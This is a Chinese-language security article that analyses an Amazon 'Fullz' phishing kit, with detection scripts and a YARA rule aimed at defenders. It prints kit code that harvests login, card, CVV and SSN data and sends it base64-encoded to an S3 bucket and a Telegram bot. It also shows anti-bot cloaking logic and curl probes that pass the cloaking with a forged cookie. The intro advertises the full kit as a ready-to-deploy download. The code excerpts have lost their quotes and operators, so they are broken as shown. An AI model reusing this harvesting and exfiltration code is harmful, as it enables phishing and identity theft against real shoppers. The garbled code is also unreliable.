ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

亚马逊钓鱼Fullz源码拆解:反自动化检测与数据回流分析

亚马逊钓鱼Fullz源码拆解:反自动化检测与数据回流分析 简介针对亚马逊用户的钓鱼诈骗源码包面向信息安全学习者、红队评估人员及风控策略研究者用于剖析仿冒登录页对“Fullz”完整个人信息套件的采集原理理解垃圾短信与钓鱼邮件背后常用的社工链路。资源共24个文件压缩包约167KB以15个PHP文件为逻辑核心辅以JavaScript、CSS及PNG图片还原页面结构仿冒首页脚本构建出近似亚马逊的登录界面数据回传脚本负责收集并外发受害者输入字段攻击源码目录则提供可直接搭建的整套页面源码便于对比真实站点与仿冒页的差异。已有125人学习适合具备Web开发基础的中级安全爱好者进阶使用。通过阅读源码既能看到诈骗者从落地页面、数据回收到多渠道分发仿冒页面的完整实现也能总结出识别异常URL、检查证书可信度、启用二次认证等实用防护要点。1. 从一条钓鱼短信到一个亚马逊“Fullz”收集页一条“您的亚马逊订单被锁定请立即登录验证”的短信链接域名却是amazon-security-check.top。点开后页面和亚马逊登录页几乎一模一样但地址栏出卖了它。这类页面在钓鱼术语里叫“Fullz 页面”它不止骗邮箱和密码还会诱导你填完整卡号、账单地址、电话甚至 SSN凑出一套可交易的完整身份数据。我拿到手的这份scam-amazon_Fullz_page_amazonscam_Amazon_源码是一个典型的亚马逊仿冒收集器。本文从安全运维和钓鱼防御视角拆解它的文件结构、数据回流链路和反自动化检测逻辑。适合做威胁情报、邮件网关规则维护和电商反钓鱼的工程师参考。2. 源码结构拆解一个“小型 PHP 应用”的钓鱼实现这个压缩包解开后并不是几个散乱的 PHP 文件而是一套按“入口检测 → 页面伪装 → 数据收集 → 外传日志”组织的完整小应用。先看整体目录再逐个模块分析职责。2.1 解包后的目录清单scam-amazon/ ├── index.php # 页面入口加载检测模块后渲染假登录页 ├── email.php # 接收 POST 表单数据本地记录并触发外传 ├── get.php # 数据外传接口通常接收 base64 后的 Fullz 信息 ├── source/ # 模板备份用于快速二次改版 ├── lib/ │ ├── detect.php # 浏览器环境与设备指纹检测 │ ├── system.php # 公共函数与配置 │ ├── global.php # 全局变量初始化 │ ├── browser.php # User-Agent 解析与浏览器类型识别 │ ├── blocker.php # 黑名单 / IP 频率拦截 │ └── antibots4.php # 反爬虫与反自动机脚本 ├── img/ # favicon、amazon logo、svg 图标等 ├── js/ │ ├── v.js # 表单前端校验 │ ├── q.js # 输入事件监听与附加字段 │ └── m.js # 移动端适配与 touch 事件 ├── css/ │ ├── login.css # 仿冒亚马逊登录表单样式 │ └── style.css # 全局页面布局样式 ├── loca.php # 根据语言/地理参数跳转到对应子页 ├── err.php # 报错提示页通常用于“数据不完整”时回退 └── update.php # 可远程更新的配置或规则文件从文件名可以确认三条关键线索email.php和get.php是数据出口lib/下的检测文件是反分析盾img/和css/则是为了让页面在视觉上骗过普通用户。分析时不需要逐行看完整代码优先梳理“输入从哪里进数据到哪里去”。2.2 入口 index.php 的渲染流程index.php并不是一上来就输出 HTML它会先加载lib/global.php初始化环境再调用detect.php和browser.php判断来访者是真浏览器还是爬虫。核心逻辑类似?php require_once lib/global.php; require_once lib/detect.php; require_once lib/browser.php; $env detect_environment(); // 返回 is_bot, is_mobile, is_headless 等 $allowed check_access($env); // 检查 UA、IP 频率、JS Cookie if (!$allowed) { header(Location: https://www.amazon.com/errors/validate); exit; } if ($_SERVER[REQUEST_METHOD] POST) { // POST 直接转发给 email.php 处理 $saved file_put_contents( data.log, json_encode($_POST) . PHP_EOL, FILE_APPEND | LOCK_EX ); header(Location: /update.php?resultok); exit; } render_login_page($env); // 渲染仿冒登录表单 ?逻辑说明detect_environment()会读取User-Agent、Accept-Language、Sec-CH-UA、DNT等头部组合成环境数组。check_access()再根据环境数组决定是否放行。如果判定为爬虫或分析沙箱直接 302 到真实亚马逊页面避免暴露钓鱼页本体。REQUEST_METHOD POST时代码把$_POST原样追加写入data.log这是很多低成本钓鱼页的通用做法先把数据落盘再定时外传。参数说明FILE_APPEND保证多用户提交时不覆盖之前数据LOCK_EX防止并发写导致日志损坏。分析时如果看到类似file_put_contents(data.log, json_encode($_POST))的调用基本可以确定数据会先留在服务器本地需要继续找外传脚本。2.3 静态资源如何做到“高仿”让受害者放下戒心的关键是页面视觉还原度。这个包里css/login.css直接定义了响应式布局和亚马逊招牌按钮的圆角、蓝黄配色img/logo.png和icon.png用于地址栏 favicon。配合js/v.js做字段校验模拟真实登录的“请输入邮箱”提示。文件作用分析要点css/login.css复刻亚马逊登录表单样式检查是否包含amazon类名或apac等品牌类js/v.js前端字段校验看是否限制邮箱格式、信用卡长度js/q.js监听输入、生成隐藏字段通常会在提交前把键盘延迟写入表单js/m.js移动端触摸事件适配指纹采集插件常在这里做 Canvas 探测img/logo.png亚马逊带箭头 Logo对比官方 Logo 的文件哈希可快速识别q.js值得多看一眼。它的常见做法是监听input事件把每次击键间隔记录到一个隐藏input里然后跟随表单一起提交。攻击者用这些时间间隔判断对方是真人还是自动填充脚本。对防御者来说这类隐藏字段是很好的静态特征正常登录页不会有一个“键盘延迟”字段叫kbd_time。2.4 从“打开页面”到“数据离境”的五步链路结合源码文件调用关系整个钓鱼流程可以归纳为五步受害者点击短信/邮件中的短链接访问index.php。index.php执行反爬检测通过后渲染仿冒登录页。受害者填写邮箱、密码点击登录后 POST 到email.php。email.php将数据记录入日志并拼接成 Fullz 数据结构。get.php接收数据并通过 HTTP 请求发送到攻击者控制的远端接口。这五步中第 3 步是关键链路。很多仿冒页面在第一轮只收集邮箱和密码如果页面要求继续补充卡号、地址就会再次跳转到二次表单。email.php里经常能看到这样的字段拼接逻辑$fullz [ email $_POST[email] ?? , password $_POST[password] ?? , fullname $_POST[full_name] ?? , address $_POST[address] ?? , city $_POST[city] ?? , zip $_POST[zip] ?? , card_number $_POST[card_number] ?? , expiry $_POST[expiry] ?? , cvv $_POST[cvv] ?? , phone $_POST[phone] ?? , ssn $_POST[ssn] ?? ]; $payload base64_encode(json_encode($fullz)); file_get_contents(https://randombucket.s3.amazonaws.com/?d . urlencode($payload));这段代码说明email.php会把所有字段合并成一个 JSON 对象再 base64 编码放进d参数。防御端看到?d加一长串无意义字符的 URL就要警惕这是数据外传而不仅仅是普通的图片日志。参数d是 data 的缩写攻击者为了减少网关识别常把它伪装成token、id、data或payload。3. 反自动化识别detect.php / browser.php / blocker.php 的检查顺序钓鱼页面运营商最怕两件事一是被爬虫扒走页面用于取证二是被安全厂商批量扫描。所以lib/下的几个模块实际上构成了一个轻量级 WAF按固定顺序过滤访客。3.1 三层检查的调用时序攻击者喜欢把逻辑写得直接通常是这个顺序function check_access($env) { if ($env[is_cli]) return false; if ($env[is_known_bot]) return false; if ($env[ip_hit_frequent]) return false; if (!isset($_COOKIE[fs_c])) return false; return true; }第一层is_cli判断是否 PHP 命令行运行防止本地直接php index.php拿到页面。第二层is_known_bot来自browser.php它维护了一个 UA 黑名单匹配Googlebot、bingbot、facebookexternalhit、curl、wget等。第三层ip_hit_frequent由blocker.php负责用核心 IP 在 60 秒内访问次数是否超过阈值。参数说明fs_c是js/m.js运行后写入的 Cookie 名。如果浏览器没有执行 JavaScript这个 Cookie 就不存在请求会被截断。所以用纯 HTTP 客户端直接请求index.php只能看到跳转或空白页。这是分析环境里最常见的坑页面空白不一定是代码问题而是没有过 JS 挑战。3.2 detect.php 采集的关键指纹项detect.php本质上是一个 PHP 版浏览器指纹工具。它收集的字段决定了后续拦截策略指纹项判断目的异常判定User-Agent识别浏览器与操作系统无 UA 或 UA 不完整Accept-Language判断用户地理位置与 IP 国家不一致Sec-CH-UA验证 Chromium 版本缺失或版本不匹配DNTDo Not Track 偏好与主流浏览器分布不符Referer判断访问来源既非短信也非邮件推广页Cookie验证 JS 是否执行fs_c不存在或值非法TLS 指纹TLS 握手特征使用非浏览器默认加密套件如果Accept-Language是中文而目标受害者是英文市场攻击者会选择将其标记为低质量流量不做跳转而是显示一个“页面不存在”的 404。这给安全扫描增加了难度很多自动化爬虫用的是默认英文头反而容易被放进去这也可以用来反制——真正的受害者若来自美国语言偏好通常是en-US。3.3 测试时如何观察而不是盲目绕过作为防御方我并不会去写一个绕过脚本而是先模拟“低质量流量”观察拦截逻辑。可以用curl带一个最简单的手机 UA 请求首页看返回是 302 还是正常页面curl -I -A Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) \ -H Accept-Language: en-US,en;q0.9 \ http://target.local/index.php如果返回302 Location: https://www.amazon.com/...说明命中爬虫拦截。再把 Cookie 加上重试curl -v -A Mozilla/5.0 (Windows NT 10.0; Win64; x64) \ -H Accept-Language: en-US,en;q0.9 \ -H Cookie: fs_c1 \ http://target.local/index.php参数说明-A指定 User-Agent-H添加自定义头部-b可以改为-b fs_c1写入 Cookie。如果加了 Cookie 后返回 200 且包含form关键字说明当前环境的指纹组合通过了检查。接着就可以在浏览器里手动访问并记录网络面板中email.php的 POST 详情。注意不要扩大测试范围确认页面存在后应立即关闭连接。4. Fullz 数据的字段映射与回流接口 email.php 与 get.php这一部分重点回答两个问题数据以什么格式落盘又以什么方式外传。搞清楚了邮件网关和代理日志里的告警规则就能写得更准。4.1 表单字段到 Fullz 结构的映射email.php接收的字段名并不总是固定的但核心的 Fullz 字段非常稳定。攻击者需要的是“足够完成一笔欺诈交易”的信息所以表单字段通常会高于普通登录页面。常见映射如下步骤表单字段名Fullz 字段说明第一步email,passwordemail,password基础账号信息第二步full_namefullname账单姓名第二步address_line1address账单地址第二步city,state,zipcity,state,zip地区三件套第二步card_numbercard_number信用卡卡号第二步expiry,cvvexpiry,cvv有效期与安全码第二步ssnssn美国社保号用于身份盗用ssn字段对中国读者可能有些陌生它是美国社会安全号码诈骗者拿到后可以申请信用卡、报税或贷款。因此检测到页面上出现ssn输入框就可以基本判定这不是一个正常的电商登录页。4.2 email.php 的数据落盘与通知机制在看代码时email.php经常有两个动作写日志和发通知。日志文件可能是data.log、log.txt或.htaccess伪装文件。通知机制通常用 PHP 的mail()函数或file_get_contents调第三方接口$logline date(Y-m-d H:i:s) . | . json_encode($fullz) . \n; file_put_contents(./tmp/.log, $logline, FILE_APPEND); $notify base64_encode(json_encode($fullz)); file_get_contents(https://telegram.example/bot123/sendMessage?text . $notify);逻辑说明写日志是为了防止外传接口被封时数据丢失。Telegram Bot URL 在恶意样本中很常见因为攻击者可以用个人账号接收实时消息。防御方如果在流量里看到 POST 请求的域名是api.telegram.org且消息内容是一串 base64就应联想到可能是数据回传。4.3 get.php 的“低姿态”外传方式get.php本身可能不渲染任何内容它只是接收d参数并写到远端数据库。有些实现会把参数拼到 URL 里用 GET 请求传递这样在访问日志中一目了然GET /get.php?deyJlbWFpbCI6ImEiLCJjYXJkIjp7fX0 HTTP/1.1 Host: stats-collector.example User-Agent: Mozilla/5.0我们可以用tcpdump抓包确认这种请求是否出现tcpdump -i eth0 -A -s 0 tcp dst port 80 and (tcp[((tcp[12] 0xf0) 2):4] 0x47455420)这条命令抓取发往 80 端口且以GET开头的包0x47455420是 ASCII 码的 “GET ” 十六进制表示。抓到后重点看 URL 中d参数长度正常图片请求不会超过 200 字符而 Fullz 数据编码后通常超过 500 字符。长度本身就是强特征。4.4 网关侧可以直接用的检测特征把这些源码细节映射成检测规则可以直接用在邮件网关或 DNS 日志告警系统里URL 路径同时出现get.php与d参数参数长度超过 300。表单页面包含ssn、card_number、expiry三个字段。页面引用的 favicon 与实际域名品牌不一致。email.php在 POST 后返回跳转到update.php?resultok而不是常规的成功页面。页面代码里出现base64_encode(json_encode($_POST))这类紧凑拼接。这些特征不需要依赖单一域名即便钓鱼站点频繁换域名网关侧依然可以通过字段结构拦截。5. 实战用 YARA 规则和 Python 特征脚本识别同源钓鱼页最后这一节落到可复用的检查工具。我通常先用 Python 脚本做在线页面成分分析再用 YARA 规则在本地压缩包和附件沙箱里扫同源变种。5.1 Python 脚本基于表单特征的相似度评分import requests SIGNATURES [ (input[nameemail], 邮箱字段), (input[namepassword], 密码字段), (input[namecard_number], 卡号字段), (input[nameexpiry], 有效期字段), (input[namecvv], 安全码字段), (input[namessn], SSN字段), (actionemail.php, 提交到email.php), ] def score_url(url): try: html requests.get(url, timeout5, allow_redirectsTrue).text.lower() except requests.exceptions.RequestException: return None hit, reasons 0, [] for sig, name in SIGNATURES: if sig in html: hit 1 reasons.append(name) return hit, reasons if __name__ __main__: url http://192.0.2.10/index.php result score_url(url) if result and result[0] 4: print(fhigh confidence phishing: {result[1]}) else: print(flow confidence: {result})脚本逻辑SIGNATURES保存了 Fullz 页面常出现的表单特征命中 4 个以上就输出高危。参数allow_redirectsTrue用于跟随拦截跳转因为很多钓鱼站点会把首次请求重定向到真实亚马逊页面。可以在requests.get前加随机的 PC UA 头避免被browser.php误杀。5.2 YARA 规则离线扫同源压缩包rule amazon_fullz_phishing_pack { meta: author defender description detect similar source from scam-amazon pack strings: $a email.php ascii $b card_number ascii $c ssn ascii $d antibots4 ascii $e fs_c ascii $f fullz ascii nocase condition: 3 of them }这个规则只要命中 3 个字符串即可告警不会要求全部命中。参数说明$f使用nocase可以匹配各种大小写写法3 of them意味着这是“文档相似性”而非“样本等价”判断适合捕获攻击者改个目录名就重新发布的变种。把这条规则挂到邮件附件的沙箱扫描流程里能在文件落地后第一时间标记可疑压缩包。最后补充一个成本更低的做法在网关日志里统计get.php请求的来源 IP 和参数长度分布。只要某个 URL 的d参数平均长度稳定超过 300就值得加入临时黑名单并做二次研判。这比逐封分析邮件更快也更适合日均千万级日志的线上环境。本文还有配套的精品资源点击获取
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进